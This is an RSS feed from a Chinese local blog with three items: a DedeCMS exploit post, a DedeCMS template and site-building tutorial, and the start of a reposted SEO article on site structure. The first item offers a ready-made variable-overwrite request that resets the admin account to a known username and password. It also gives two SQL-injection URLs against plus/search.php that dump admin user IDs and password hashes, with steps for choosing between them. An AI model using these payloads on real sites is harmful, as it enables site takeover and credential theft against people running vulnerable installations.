<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[晋城生活服务]]></title> 
<description><![CDATA[美好的生活需要用心记录，记录一些收集的东西，还有心情吧！]]></description>
<link>http://blog.0356sh.com/</link>
<language>zh-cn</language>
<generator>www.emlog.net</generator>
<item>
	<title>覆盖变量dedecms最新漏洞...执行下面代码，自动添加帐号spider 密码admin</title>
	<link>http://blog.0356sh.com/dede_bug.html</link>
	<description><![CDATA[<pre class="brush: html;auto-links: false;">http://xxxx.com/plus/download.php?open=1&amp;arrs1[]=99&amp;arrs1[]=102&amp;arrs1[]=103&amp;arrs1[]=95&amp;arrs1[]=100&amp;arrs1[]=98&amp;arrs1[]=112&amp;arrs1[]=114&amp;arrs1[]=101&amp;arrs1[]=102&amp;arrs1[]=105&amp;arrs1[]=120&amp;arrs2[]=97&amp;arrs2[]=100&amp;arrs2[]=109&amp;arrs2[]=105&amp;arrs2[]=110&amp;arrs2[]=96&amp;arrs2[]=32&amp;arrs2[]=83&amp;arrs2[]=69&amp;arrs2[]=84&amp;arrs2[]=32&amp;arrs2[]=96&amp;arrs2[]=117&amp;arrs2[]=115&amp;arrs2[]=101&amp;arrs2[]=114&amp;arrs2[]=105&amp;arrs2[]=100&amp;arrs2[]=96&amp;arrs2[]=61&amp;arrs2[]=39&amp;arrs2[]=115&amp;arrs2[]=112&amp;arrs2[]=105&amp;arrs2[]=100&amp;arrs2[]=101&amp;arrs2[]=114&amp;arrs2[]=39&amp;arrs2[]=44&amp;arrs2[]=32&amp;arrs2[]=96&amp;arrs2[]=112&amp;arrs2[]=119&amp;arrs2[]=100&amp;arrs2[]=96&amp;arrs2[]=61&amp;arrs2[]=39&amp;arrs2[]=102&amp;arrs2[]=50&amp;arrs2[]=57&amp;arrs2[]=55&amp;arrs2[]=97&amp;arrs2[]=53&amp;arrs2[]=55&amp;arrs2[]=97&amp;arrs2[]=53&amp;arrs2[]=97&amp;arrs2[]=55&amp;arrs2[]=52&amp;arrs2[]=51&amp;arrs2[]=56&amp;arrs2[]=57&amp;arrs2[]=52&amp;arrs2[]=97&amp;arrs2[]=48&amp;arrs2[]=101&amp;arrs2[]=52&amp;arrs2[]=39&amp;arrs2[]=32&amp;arrs2[]=119&amp;arrs2[]=104&amp;arrs2[]=101&amp;arrs2[]=114&amp;arrs2[]=101&amp;arrs2[]=32&amp;arrs2[]=105&amp;arrs2[]=100&amp;arrs2[]=61&amp;arrs2[]=49&amp;arrs2[]=32&amp;arrs2[]=35</pre>
<br />
<p>
	提交&nbsp;mumaasp.com/plus/search.php?keyword=as&amp;typeArr[1&nbsp;uNion&nbsp;1]=a
</p>
<p>
	看结果如果提示<br />
Safe&nbsp;Alert:&nbsp;Request&nbsp;Error&nbsp;step&nbsp;2&nbsp;!<br />
那么直接用下面的exp<br />
mumaasp.com/plus/search.php?keyword=as&amp;typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a<br />
<img alt="QQ截图20130119225931.jpg" src="http://blog.0356sh.com/content/uploadfile/201310/35fed65566317a8975ee4c04182455a020131026093045.jpg" width="378" height="276" />
</p>
<p>
	&lt;img&nbsp;id="aimg_8657"&nbsp;src="http://img.90sec.org/forumid_10/1301192303ea6ea786298d3fbf.jpg"&nbsp;alt="QQ截图20130119225931.jpg"&nbsp;width="378"&nbsp;/&gt;
</p>
<p>
	看结果如果提示<br />
Safe&nbsp;Alert:&nbsp;Request&nbsp;Error&nbsp;step&nbsp;1&nbsp;!<br />
那么直接用下面的exp<br />
mumaasp.com/plus/search.php?keyword=as&amp;typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a<br />
<img alt="QQ截图20130119225757.jpg" src="http://blog.0356sh.com/content/uploadfile/201310/aa9ca40097fc80ea6816e4cca6b45f0620131026093045.jpg" width="640" height="356" />
</p>
<p>
	&lt;img&nbsp;id="aimg_8658"&nbsp;src="http://img.90sec.org/forumid_10/130119230336d42cf361c166f0.jpg"&nbsp;alt="QQ截图20130119225757.jpg"&nbsp;width="600"&nbsp;/&gt;
</p>
<p>
	如果正常显示证明漏洞不存在了。
</p>]]></description>
	<pubDate>Sat, 15 Jun 2013 02:52:14 +0000</pubDate>
	<author>mazerain</author>
	<guid>http://blog.0356sh.com/dede_bug.html</guid>

</item>
<item>
	<title>利用Dedecms做网站教程</title>
	<link>http://blog.0356sh.com/dedecms_website.html</link>
	<description><![CDATA[<p style="font-size:11pt;font-family:微软雅黑;">
	<span>一、既然用</span><span>dedecms</span><span>做网站，那就得先去织梦官网下载安装包，网址：</span><a href="http://www.dedecms.com/"><span>http://www.dedecms.com</span></a> 
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	二、默认本地已经配置好环境，解压，安装。
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	<span>三、安装好后，预先修改织梦的文件，这样子方便做网站也有利于</span><span>SEO</span><span>（当然，不修改也可以）：</span> 
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	<span>1</span><span>）后台的基本设置：系统</span><span> </span><span>—</span><span>&gt; </span><span>系统基本参数：文档HTML默认保存路径“把</span><span>a</span><span>去掉”</span> 
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	不使用会员系统的，把会员系统关掉。
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	<span>文档默认点击数“设置为</span><span>0</span><span>”</span> 
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	图片水印设置也关闭或根据自己需求设定！
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	其它的看自己需求设置。
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	&nbsp;
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	<span>2</span><span>）批量建栏目，要栏目的目录取字母的首字母，要修改dede/catalog.add.php文件</span> 
</p>
<pre class="brush: php;auto-links: false;">85行 $toptypedir = GetPinyin(stripslashes($toptypename));

修改为 $toptypedir = GetPinyin(stripslashes($toptypename),1);

108 行 $typedir = $toptypedir.'/'.GetPinyin(stripslashes($v));

修改为 $typedir = $toptypedir.'/'.GetPinyin(stripslashes($v),1);

134行  $toptypedir = GetPinyin(stripslashes($toptypename));

修改为 $toptypedir = GetPinyin(stripslashes($toptypename),1);

187行 $typedir = GetPinyin(stripslashes($typename));

修改为 $typedir = GetPinyin(stripslashes($typename),1);
</pre>
<br />
<p style="font-size:11pt;font-family:微软雅黑;">
	在建栏目时，文章命名规则要改一下，织梦默认的名字太长。
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	&nbsp;
</p>
<p style="font-size:11pt;font-family:微软雅黑;">
	<span>建好栏目后因为上面的修改文件，可能路径会有两个</span><span>//</span><span>，例如：{cmspath}//zxjs，这时候用</span><span>Phpmyadmin</span><span>里用</span><span>SQL</span><span>工具替换下：
<pre class="brush: sql;auto-links: false;">update dede_arctype set typedir=replace(typedir,'{cmspath}//','{cmspath}/')</pre>
<br />
</span>再把模板批量替换成自己的路径。
	<p>
		<br />
	</p>
<pre class="brush: sql;auto-links: false;">update dede_arctype set tempindex=replace(tempindex,'{style}/index_article.htm','fuke/index_article.html')

update dede_arctype set templist=replace(templist,'{style}/list_article.htm','fuke/list_article.html')

update dede_arctype set temparticle=replace(temparticle,'{style}/article_article.htm','fuke/article_article.htm')
</pre>
<br />
	<p style="font-size:11pt;font-family:微软雅黑;">
		四、做好模板以后，应用上去，开始修改标签
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		&nbsp;
	</p>
	<p style="font-size:11pt;">
		<span style="font-family:Calibri;"><span>&nbsp;</span></span><span style="font-family:Calibri;color:red;"><span>&nbsp;</span></span><span style="font-family:微软雅黑;color:red;">包含：</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		{dede:include filename="/web/header.html"/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:red;">
		<span>栏目调用：</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		<span>{dede:channel type='son' row='8' typeid='1'}</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		&lt;li&gt;&lt;a href="[field:typelink/]"&gt;[field:typename/]&lt;/a&gt;&lt;/li&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		<span>&nbsp;</span>{/dede:channel}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		<span style="color:red;">文章调用：</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		<span>{dede:arclist row='10' titlelen='24' orderby='pubdate' </span><span>typeid='1' </span><span>Keyword = ''</span><span> </span><span>idlist = ''<span>&nbsp; </span>limit='起始</span><span>ID,记录数'<span>&nbsp; </span></span><span>flag = 'h'</span><span> </span><span>subday='天数</span><span>' </span><span>addfields='filetype,language,softtype'</span><span><span>&nbsp; </span></span><span>channelid='</span><span>17</span><span>'}</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		&nbsp; <span style="font-family:微软雅黑;">&lt;li&gt;&lt;a href="[field:arcurl/]" title="[field:title/]" target="_blank"&gt;[field:title </span><span style="font-family:微软雅黑;"><span>&nbsp;</span>function="cn_substr('@me',40)"</span><span style="font-family:Calibri;">/</span><span style="font-family:微软雅黑;">]&lt;/a&gt;</span><span style="font-family:微软雅黑;color:#111111;">[field:pubdate function=MyDate('m-d',@me)/]</span><span style="font-family:微软雅黑;color:#111111;">&lt;/li&gt;</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		{/dede:arclist}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		08<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%d',@me)/]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>08 日</span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%d日',@me)/]</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		06-08<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%m-%d',@me)/]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>06月</span><span>08日<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%m月%d日',@me)/]</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		09-06-08<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%y-%m-%d',@me)/]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		2009-06-08<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%Y-%m-%d',@me)/]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>09年</span><span>06月08日<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%y年%m月%d日',@me)/]</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>2009年</span><span>06月08日<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%Y年%m月%d日',@me)/]</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		2009-06-08<span>&nbsp; </span>13:28<span>&nbsp;&nbsp;&nbsp; </span>[field:pubdate function=strftime('%Y-%m-%d %H:%M',@me)/]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span style="color:red;">文章加</span><span style="color:red;">NEW</span><span style="color:#111111;">：</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		[field:senddate runphp='yes']
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		$ntime = time();
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		$oneday = 3600 * 24;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		if(($ntime - @me)&lt;$oneday) @me = "&lt;font color='red'&gt;(new)&lt;/font&gt;";
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		else @me = "";
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		[/field:senddate]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:red;">
		列表页调用：
	</p>
	<p style="font-size:11pt;color:#111111;">
		<span style="font-family:微软雅黑;">{dede:list titlelen='' infolen=''</span><span style="font-family:Calibri;"> </span><span style="font-family:微软雅黑;">orderby='' pagesize=''}</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		<span>&lt;li&gt;&lt;a href="[field:arcurl/]" title="[field:title/]" target="_blank"&gt;[field:title </span><span><span>&nbsp;</span>function="cn_substr('@me',40)"</span><span>]&lt;/a&gt;</span><span style="color:#111111;">[field:pubdate function=MyDate('m-d',@me)/]</span><span style="color:#111111;">&lt;/li&gt;</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{/dede:list}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span style="color:#e53333;">文章页调用：</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span style="color:#e53333;"></span>{dede:field.title/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>发布时间：</span><span>{dede:field.pubdate function="MyDate('Y-m-d H:i',@me)"/}</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>来源：</span><span>{dede:field.source/}</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>查看次数：</span><span>&lt;script src="{dede:field name='phpurl'/}/count.php?view=yes&amp;aid={dede:field name='id'/}&amp;mid={dede:field name='mid'/}" type='text/javascript' language="javascript"&gt;&lt;/script&gt;</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		编辑：{dede:adminname/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		作者：{dede:field.writer/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{dede:field.body/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{dede:pagebreak/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{dede:prenext get='pre'/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{dede:prenext get='next'/}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{dede:likearticle row='5' titlelen='80' eregtype='all|tag|keyword'}<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp; </span>&lt;p&gt;·&lt;a href="[field:arcurl/]"&gt;[field:title/]&lt;/a&gt;&lt;/p&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{/dede:likearticle}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:red;">
		会员信息：
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{dede:memberinfos}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;</span>发布者资料<span>&nbsp;&nbsp; </span>
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;a href="[field:spaceurl /]" class="userface"&gt;&lt;img src="[field:face/]" width="52" height="52" /&gt;&lt;/a&gt; &lt;a href='[field:spaceurl /]' class="username"&gt;[field:uname/]&lt;/a&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;a href="[field:spaceurl /]&amp;action=guestbook"&gt;发送留言&lt;/a&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;a href="[field:spaceurl /]&amp;action=newfriend"&gt;加为好友&lt;/a&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		用户等级:[field:rankname /]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		注册时间:[field:jointime function="MyDate('Y-m-d H:m',@me)"/]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>最后登录:[field:logintime function="MyDate('Y-m-d H:m',@me)"/]<br />
</span><span><span>&nbsp;</span>{/dede:memberinfos}</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:red;">
		标题关键词描述调用：
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&lt;title&gt;{dede:global.cfg_webname/}_晋城人才招聘</span><span>_晋城天气_晋城购物_晋城论坛_晋城信息_晋城旅游_晋城在线&lt;/title&gt;</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="keywords" content="{dede:global.cfg_keywords/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="description" content="{dede:global.cfg_description/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;link rel="alternate" type="application/rss+xml" title="" href="/rss.php"/&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;title&gt;{dede:field.seotitle /}_{dede:global.cfg_webname/}&lt;/title&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="keywords" content="{dede:field.keywords/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="description" content="{dede:field.description function='html2text(@me)'/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;">
		<span style="color:#e53333;">栏目页如果想调一级栏目，二级栏目</span><span style="color:#e53333;">_</span><span style="color:#e53333;">一级栏目这样子调</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;title&gt;{dede:field name='position' runphp='yes'}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp; </span>$tc="_"; //分隔符
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp; </span>$tw=$GLOBALS['cfg_list_symbol']; //调用位置分隔符
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span><span>&nbsp;&nbsp;&nbsp; </span>@me=html2text(@me); //去除</span><span>html标签</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp; </span>$tf=split($tw,@me); //分解成数组
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span><span>&nbsp;&nbsp;&nbsp; </span>for($ta=(count($tf)-2);$ta&gt;=1;$ta--){ //循环赋值给</span><span>$tk</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		$tk.=trim($tf[$ta]).$tc;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp; </span>}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp; </span>$tk=substr($tk,0,-1);
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span><span>&nbsp;&nbsp;&nbsp; </span>@me=$tk; //赋值给</span><span>@me</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{/dede:field}-{dede:global name='cfg_webname'/}&lt;/title&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="keywords" content="{dede:field.keywords/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="description" content="{dede:field.description function='html2text(@me)'/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;title&gt;{dede:field.title/}_{dede:type} [field:typename /]{/dede:type}_{dede:global.cfg_webname/}&lt;/title&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="keywords" content="{dede:field.keywords/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&lt;meta name="description" content="{dede:field.description function='html2text(@me)'/}" /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:red;">
		其它：
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>[field:job_people runphp='yes'] $c=@me;if($c=='0'){@me='若干</span><span>';}else{@me=$c;}[/field:job_people]</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		{dede:field.designer_web runphp='yes'}$c=@me;if($c==''){@me='&lt;a href="javascript:;"&gt;';}else{@me='&lt;a href='."$c".' target="_blank"&gt;';}{/dede:field.designer_web}{dede:field.designer/}&lt;/a&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		&nbsp;
	</p>
	<p style="font-size:11pt;">
		<span style="font-family:Calibri;color:#111111;"><span>&nbsp;</span></span><span style="font-family:微软雅黑;color:red;">图集：</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>{dede:field name='imgurls' alt='图片输出区</span><span>'}</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:pagestyle runphp='yes'] @me= (@me==3 ? '&lt;li&gt;' : '');[/field:pagestyle]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;a href='[field:linkurl/]' target='_blank' &gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;img src='[field:imgsrc/]' id='bigimg' [field:imgwidth /] alt='[field:alttext /]' border='0' /&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/a&gt;
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&lt;!-- 如果使用的是多页单图模式</span><span>(幻灯)把href里的链接改为 javascript:dPlayNext(); 表示点击看下一页 --&gt;</span> 
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>[field:alttext /]
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		<span>&nbsp;</span>{/dede:field}
	</p>
	<p style="font-size:11pt;font-family:微软雅黑;color:#111111;">
		更多Tags请点击：<a href="http://blog.0356sh.com/doc/dede_tag.html" target="_blank">更多</a>
	</p><div id="related_log" style="font-size:12px"><p><b>相关日志：</b></p><p><a href="http://blog.0356sh.com/dedecmsquanxian-2.html">DedeCMS 服务器目录权限安全设置说明文档</a></p><p><a href="http://blog.0356sh.com/php_mysql_luanma.html">PHP中插入MYSQL数据乱码的问题和解决方法</a></p></div>]]></description>
	<pubDate>Thu, 23 May 2013 08:20:11 +0000</pubDate>
	<author>mazerain</author>
	<guid>http://blog.0356sh.com/dedecms_website.html</guid>

</item>
<item>
	<title>以雅酷网为实例从技术上说说dedecms的seo优化要注意哪些？</title>
	<link>http://blog.0356sh.com/dedecmsseo.html</link>
	<description><![CDATA[<p style="margin-top:0pt;margin-bottom:0pt;" class="p0">转自（郭黑黑织梦博客 <a href="http://www.guoxiongjie.com/"><span style="color:#990000;">http://www.guoxiongjie.com</span></a>）</p>
<p style="margin-top:0pt;margin-bottom:0pt;" class="p0">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目前在做<span style="color:#990000;"><span style="color:#000000;">雅酷网</span></span> ，雅酷卡是雅酷时空公司的产品，我个人感觉用<a href="http://www.yacol.net/card/"><span style="color:#990000;">雅酷卡</span></a>消费还是比较实惠的，而雅酷卡的特色便是<a href="http://www.yacol.net/card/zhuanxiang/6/" target="_blank"><span style="color:#990000;">雅酷健身卡</span></a>，很多站长成天的趴电脑上，可以考虑办一张这样的卡，在周末的时候去健身中心活动活动，还是比较不错的选择。 雅酷网是在dedecms的基础上开发的，虽然dedecms的文章系统比较棒，但是我们还需要一个商户的模型，而且对于数据处理方面，需求量比较大，于是我们对dedecms的数据库做了一些优化，尤其是对主表dede_archives做了分表，然后继续开发了一套关键词词库系统，商户自动采集系统和文章自动采集系统，你目前在<span style="color:#990000;"><span style="color:#666666;">http://www.yacol.net</span></span>上看到的很多商户、文章，基本上都是靠这些采集系统来完成的，这些程序目前还不便于公开，以后可能会公布出来。今天以雅酷网为实例，从技术上讲讲我们在用Dedecms建站中都会注意些什么。希望对大家有一些帮助。<?xml:namespace prefix = o /><o:p></o:p></p>
<p><strong>一、网站结构要清晰</strong><o:p></o:p></p>
<p>我最烦那种能让人迷路的网站，所以我做网站之前都要先搞清楚网站需要什么功能，有什么栏目规划，每一个栏目是单页还是列表，大概需要几个页面，这些最基本的问题。网站的结构主要有网站树状结构、扁平状结构这两种。<br />
<br />
1、网站树状结构：在网站的根目录下存在很多个网站的子频道（二级目录）、每个频道下都有自己的页面或内容。树状结构清晰的显示出网站的内容框架，方便搜索引擎对网站内容的抓取，树状结构适合中大型网站。</p>
<blockquote>
<p>例如树状结构的网站频道：<br />
<span style="color:#666666;">http://</span><span style="color:#990000;"><span style="color:#666666;">www.yacol.net/baike/</span></span><br />
<span style="color:#666666;">http://</span><span style="color:#990000;"><span style="color:#666666;">www.yacol.net/shanghu/</span></span><br />
<span style="color:#666666;">http://</span><span style="color:#990000;"><span style="color:#666666;">www.yacol.net/card/</span></span><br />
</p>
</blockquote>
<blockquote><span style="color:#000000;">频道下又有属于其的页面：</span><br />
<span style="color:#666666;"><span style="color:#666666;">http://www.yacol.net/baike/ydjs/</span></span><br />
<span style="color:#666666;"><span style="color:#666666;">http://www.yacol.net/baike/ylxx/</span><br />
</span><span style="color:#666666;">http://www.yacol.net/baike/shfw/</span><br />
<span style="color:#666666;">http://www.yacol.net/baike/mrmt/</span><o:p></o:p><span style="color:#666666;"> </span></blockquote>
<p>2、网站扁平结构：网站所有的页面都存在于根目录下，也可以说是域名下。扁平结构适用于中小型网站，例如博客、企业站等。树状结构适合于中大型网站使用！<o:p></o:p></p>
<blockquote>
<p>例如扁平结构的网站：<br />
<span style="color:#666666;">www.yacol.net/a.html</span><br />
<span style="color:#666666;">www.yacol.net/b.html</span><br />
<span style="color:#666666;">www.yacol.net/c.html</span><br />
<span style="color:#666666;">www.yacol.net/d.html</span><br />
<span style="color:#666666;">www.yacol.net/e.html</span><br />
<span style="color:#666666;">www.yacol.net/f.html </span><o:p></o:p></p>
</blockquote>
